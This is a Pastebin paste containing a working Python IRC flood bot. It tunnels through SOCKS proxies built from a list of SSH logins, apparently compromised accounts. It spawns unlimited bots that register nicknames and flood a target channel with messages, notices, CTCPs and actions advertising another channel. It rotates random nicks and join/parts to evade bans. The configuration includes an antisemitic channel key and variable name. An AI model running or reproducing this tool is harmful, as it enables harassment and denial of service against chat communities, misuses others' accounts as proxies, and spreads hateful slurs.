Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- import os
- import sys
- import socket
- import random
- import time
- import socks
- from threading import Thread
- network = 'irc.abuse.cc'
- port = 6667
- channel = '#nepal'
- message = 'ATTENTION: '+channel+' HAS NOW MOVED TO ---> irc.hardchats.com #gnaa <---'
- key = 'loljews' # note: you do not need to blank this out if the channel does not have a key set
- register = 1
- registerdelay = 0
- messagecount = 5 # the number of messages/notices/ctcps to attempt to send before spamming nick and join/parting
- join = 1
- knock =0
- joinpart =0
- nickspam =0
- chat =1
- pmsg = 1
- ctcp =1
- action =1
- notice =1
- accounts = 'accounts.txt'
- baseport = 9050
- maxletters = 7
- alphabet = 'qwertyuiopasdfghjklzxcvbnm'
- acctfile = open(accounts,'r')
- lines=0
- ssh_pid = 0
- for line in acctfile:
- ssh_data = line
- ssh_exploded = ssh_data.split(',')
- ssh_host = ssh_exploded[0]
- ssh_user = ssh_exploded[1]
- ssh_pass = ssh_exploded[2]
- ssh_port = ssh_exploded[3]
- ssh_pid = os.fork()
- if not ssh_pid:
- os.execlp("/usr/bin/expect","expect","./ssh.exp",ssh_user,ssh_pass,ssh_host,ssh_port.replace("\n",""),str(baseport+lines))
- break
- else:
- lines += 1
- if ssh_pid:
- acctfile.close()
- class bot(Thread):
- def __init__ (self,seed):
- Thread.__init__(self)
- self.seed = seed
- def lrecv(self):
- c, s = '', ''
- while c != '\n':
- c = self.irc.recv(1)
- if c == '': # connection closed
- break
- s += c
- if s.strip('\r\n') != '':
- print s.strip('\r\n')
- return s.strip('\r\n')
- def parsereply(self):
- global joinpart
- global nickspam
- global chat
- global action
- global pmsg
- global ctcp
- global notice
- global knock
- global join
- global message
- global key
- data=self.lrecv()
- if data.find ( 'PING' ) != -1:
- self.irc.send ( 'PONG ' + data.split() [ 1 ] + '\r\n' )
- if data.find ( '404' ) != -1: #cannot send to channel
- if self.lastaction == 'knock':
- knock = 0
- if self.lastaction == 'pmsg':
- pmsg = 0
- joinpart = 1
- nickspam = 1
- if self.lastaction == 'ctcp':
- ctcp = 0
- if self.lastaction == 'action':
- action = 0
- if self.lastaction == 'notice':
- notice = 0
- if self.lastaction == 'nickspam':
- nickspam = 0
- if data.find ( '417' ) != -1: #cannot join, +l
- self.joined = 0
- if data.find ( '473' ) != -1: #cannot join, +i
- self.joined = 0
- knock = 1
- if data.find ( '474' ) != -1: #cannot join, +b
- self.joined = 0
- if data.find ( '475' ) != -1: #cannot join, +k (try to parse key from bots)
- self.joined = 0
- if data.find ( '442' ) != -1: #not on channel - probably been kicked
- self.joined = 0
- def spam(self):
- global joinpart
- global nickspam
- global chat
- global action
- global pmsg
- global ctcp
- global notice
- global knock
- global join
- global message
- global key
- time.sleep(.5)
- if self.joined == 0:
- if knock == 1:
- self.irc.send ( 'KNOCK ' + channel + ' :' + message + '\007\r\n' )
- knock = 0
- return
- if join == 1:
- self.irc.send ( 'JOIN ' + channel + ': '+key+'\r\n' )
- self.joined = 1
- self.lastaction == 'join'
- join = 0
- return
- if self.joined == 1:
- if self.spamcount == messagecount:
- if nickspam == 1:
- nick=''
- for x in random.sample(alphabet,random.randint(2,maxletters)):
- nick+=x
- self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
- self.lastaction = 'nickspam'
- nickspam = 0
- return
- if joinpart == 1:
- self.irc.send ( 'PART ' + channel + ' :' + message + '\007\r\n' )
- nick=''
- for x in random.sample(alphabet,random.randint(2,maxletters)):
- nick+=x
- self.irc.send ( 'NICK ' + nick + str(random.randint(0,9999)) + '\r\n')
- joinpart = 0
- self.joined = 0
- self.spamcount = 0
- return
- if self.joined == 1:
- if chat == 1:
- loljews = random.randint(1,4)
- if loljews == 1:
- if pmsg == 1:
- self.irc.send ( 'PRIVMSG ' + channel + ' :' + message + '\007\r\n' )
- self.lastaction = 'pmsg'
- self.spamcount += 1
- return
- if loljews == 2:
- if notice == 1:
- self.irc.send ( 'NOTICE ' + channel + ' :' + message + '\007\r\n' )
- self.lastaction = 'notice'
- self.spamcount += 1
- return
- if loljews == 3:
- if ctcp == 1:
- self.irc.send ( 'PRIVMSG ' + channel + ' :\001VERSION ' + message + '\007\001\r\n' )
- self.lastaction = 'ctcp'
- self.spamcount += 1
- return
- if loljews == 4:
- if action == 1:
- self.irc.send ( 'PRIVMSG ' + channel + ' :\001ACTION ' + message + '\007\001\r\n' )
- self.lastaction = 'action'
- self.spamcount += 1
- return
- def run(self):
- try:
- global joinpart
- global nickspam
- global chat
- global action
- global pmsg
- global ctcp
- global notice
- global knock
- global join
- global message
- global key
- nick=''
- self.joined=0
- for x in random.sample(alphabet,random.randint(2,maxletters)):
- nick+=x
- self.irc = socks.socksocket ( socket.AF_INET, socket.SOCK_STREAM )
- self.irc.setproxy( socks.PROXY_TYPE_SOCKS5,"localhost",random.randint(baseport,baseport+lines+1) )
- self.irc.connect ( ( network, port ) )
- self.irc.send ( 'USER ' + nick + self.seed + ' ' + nick + self.seed + ' ' + nick + self.seed + ' :' + nick + self.seed + '\r\n' )
- self.irc.send ( 'NICK ' + nick + self.seed + '\r\n' )
- if register == 1:
- time.sleep ( registerdelay )
- self.irc.send ( 'PRIVMSG nickserv :REGISTER ' + self.seed + nick + ' ' + nick + self.seed + '@fasfa' + self.seed + '.com\r\n' )
- while 1:
- line = self.lrecv()
- if line.find ( 'PING' ) != -1:
- self.irc.send ( 'PONG ' + line.split() [ 1 ] + '\r\n' )
- if line.find ( '001' ) != -1:
- break
- self.spamcount = 0
- while 1:
- self.spam()
- self.parsereply()
- except:
- time.sleep(0)
- def spawn():
- while True:
- bot_instance = bot(str(random.randint(1,9999)))
- bot_instance.start()
- spawn()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement